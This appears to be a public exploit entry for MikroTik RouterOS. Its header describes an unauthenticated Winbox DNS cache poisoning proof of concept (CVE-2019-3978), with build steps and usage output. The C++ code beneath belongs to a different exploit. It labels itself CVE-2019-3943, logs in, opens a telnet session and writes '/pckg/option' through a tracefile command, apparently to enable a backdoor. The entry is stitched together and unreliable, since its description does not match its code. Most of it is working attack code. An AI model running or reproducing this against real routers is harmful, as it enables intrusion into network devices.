# Exploit Title: MikroTik RouterOS 6.45.6 - DNS Cache Poisoning
# Date: 2019-10-30
# Exploit Author: Jacob Baines
# Vendor Homepage: https://mikrotik.com/
# Software Link: https://mikrotik.com/download
# Version: 6.45.6 Stable (and below) or 6.44.5 Long-term (and below)
# Tested on: Various x86 and MIPSBE RouterOS installs
# CVE : CVE-2019-3978
# Writeup: https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21
# Disclosure: https://www.tenable.com/security/research/tra-2019-46
# Unauthenticated DNS request via Winbox
# RouterOS before 6.45.7 (stable) and 6.44.6 (Long-term) allowed an unauthenticated remote user trigger DNS requests
# to a user specified DNS server via port 8291 (winbox). The DNS response then gets cached by RouterOS, setting up
# a perfect situation for unauthenticated DNS cache poisoning. This is assigned CVE-2019-3978.
# This PoC takes a target ip/port (router) and a DNS server (e.g. 8.8.8.8).
# The PoC will always send a DNS request for example.com. In the following write up,
# I detail how to use this to poison the routers cache:
# https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21
# Note that the writup focuses on router's configured *without* the DNS server enabled.
# Obviously this attack is significantly more powerful when downstream clients use the router as a DNS server.
## What are the build dependencies?
# This requires:
# * Boost 1.66 or higher
# * cmake
## How do I build this jawn?
# Just normal cmake. Try this:
# ```sh
# mkdir build
# cd build
# cmake ..
# make
# ```
# Resolve dependencies as needed.
## Usage Example
# ```sh
# albinolobster@ubuntu:~/routeros/poc/winbox_dns_request/build$ ./winbox_dns_request -i 192.168.1.50 -p 8291 -s 8.8.8.8
# -> {bff0005:1,u1:134744072,uff0006:1,uff0007:3,s3:'example.com',Uff0001:[14]}
# <- {u4:584628317,uff0003:2,uff0006:1,s3:'example.com',U6:[584628317],U7:[21496],Uff0001:[],Uff0002:[14],S5:['example.com']}
# albinolobster@ubuntu:~/routeros/poc/winbox_dns_request/build$ ssh admin@192.168.1.50
# ...
# [admin@MikroTik] > ip dns cache print
# Flags: S - static
# # NAME ADDRESS TTL
# 0 example.com 93.184.216.34 5h57m57s
# [admin@MikroTik] >
# ```
# Source:
# https://github.com/tenable/routeros/tree/master/poc/winbox_dns_request
#include <fstream>
#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include <boost/algorithm/string.hpp>
#include "winbox_session.hpp"
#include "winbox_message.hpp"
namespace
{
const char s_version[] = "CVE-2019-3943 PoC Using SNMP dlopen";
bool parseCommandLine(int p_argCount, const char* p_argArray[],
std::string& p_username, std::string& p_password,
std::string& p_ip, std::string& p_port)
{
boost::program_options::options_description description("options");
description.add_options()
("help,h", "A list of command line options")
("version,v", "Display version information")
("username,u", boost::program_options::value<std::string>(), "The user to log in as")
("password", boost::program_options::value<std::string>(), "The password to log in with")
("port,p", boost::program_options::value<std::string>()->default_value("8291"), "The Winbox port to connect to")
("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");
boost::program_options::variables_map argv_map;
try
{
boost::program_options::store(
boost::program_options::parse_command_line(
p_argCount, p_argArray, description), argv_map);
}
catch (const std::exception& e)
{
std::cerr << e.what() << "\n" << std::endl;
std::cerr << description << std::endl;
return false;
}
boost::program_options::notify(argv_map);
if (argv_map.empty() || argv_map.count("help"))
{
std::cerr << description << std::endl;
return false;
}
if (argv_map.count("version"))
{
std::cerr << "Version: " << ::s_version << std::endl;
return false;
}
if (argv_map.count("username") && argv_map.count("ip") &
argv_map.count("port"))
{
p_username.assign(argv_map["username"].as<std::string>());
p_ip.assign(argv_map["ip"].as<std::string>());
p_port.assign(argv_map["port"].as<std::string>());
if (argv_map.count("password"))
{
p_password.assign(argv_map["password"].as<std::string>());
}
else
{
p_password.assign("");
}
return true;
}
else
{
std::cerr << description << std::endl;
}
return false;
}
}
int main(int p_argc, const char** p_argv)
{
std::string username;
std::string password;
std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
{
return EXIT_FAILURE;
}
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host" << std::endl;
return EXIT_FAILURE;
}
boost::uint32_t p_session_id = 0;
if (!winboxSession.login(username, password, p_session_id))
{
std::cerr << "[-] Login failed." << std::endl;
return false;
}
WinboxMessage msg;
msg.set_to(0x4c);
msg.set_command(0xa0065);
msg.set_request_id(1);
msg.set_reply_expected(true);
msg.add_u32(5,80);
msg.add_u32(6,24);
msg.add_u32(8,1);
msg.add_string(0x0a, username);
msg.add_string(1,"");
msg.add_string(7, "vt102");
msg.add_string(9, "-l a");
winboxSession.send(msg);
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
if (msg.has_error())
{
std::cout << "error: " << msg.get_error_string() << std::endl;
}
boost::uint32_t session_id = msg.get_u32(0xfe0001);
msg.reset();
msg.set_to(0x4c);
msg.set_command(0xa0068);
msg.set_request_id(2);
msg.set_reply_expected(true);
msg.add_u32(5,82);
msg.add_u32(6,24);
msg.add_u32(0xfe0001, session_id);
winboxSession.send(msg);
boost::uint32_t tracker = 0;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
msg.reset();
msg.set_to(0x4c);
msg.set_command(0xa0067);
msg.set_request_id(3);
msg.set_reply_expected(true);
msg.add_u32(3, tracker);
msg.add_u32(0xfe0001, session_id);
winboxSession.send(msg);
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
if (msg.has_error())
{
std::cout << msg.serialize_to_json() << std::endl;
std::cout << "error: " << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}
else if (!msg.get_raw(0x02).empty())
{
std::string raw_payload(msg.get_raw(0x02));
tracker += raw_payload.size();
}
msg.reset();
msg.set_to(0x4c);
msg.set_command(0xa0067);
msg.set_request_id(4);
msg.set_reply_expected(true);
msg.add_u32(3, tracker);
msg.add_u32(0xfe0001, session_id);
msg.add_raw(2, "set tracefile /pckg/option\n");
winboxSession.send(msg);
bool found_telnet_prompt = false;
while (!found_telnet_prompt)
{
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
if (msg.has_error())
{
std::cout << msg.serialize_to_json() << std::endl;
std::cout << "error: " << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}
else if (!msg.get_raw(0x02).empty())
{
std::string raw_payload(msg.get_raw(0x02));
if (raw_payload.find("telnet> ") != std::string::npos)
{
std::cout << "Success!" << std::endl;
found_telnet_prompt = true;
}
}
}
return EXIT_SUCCESS;
}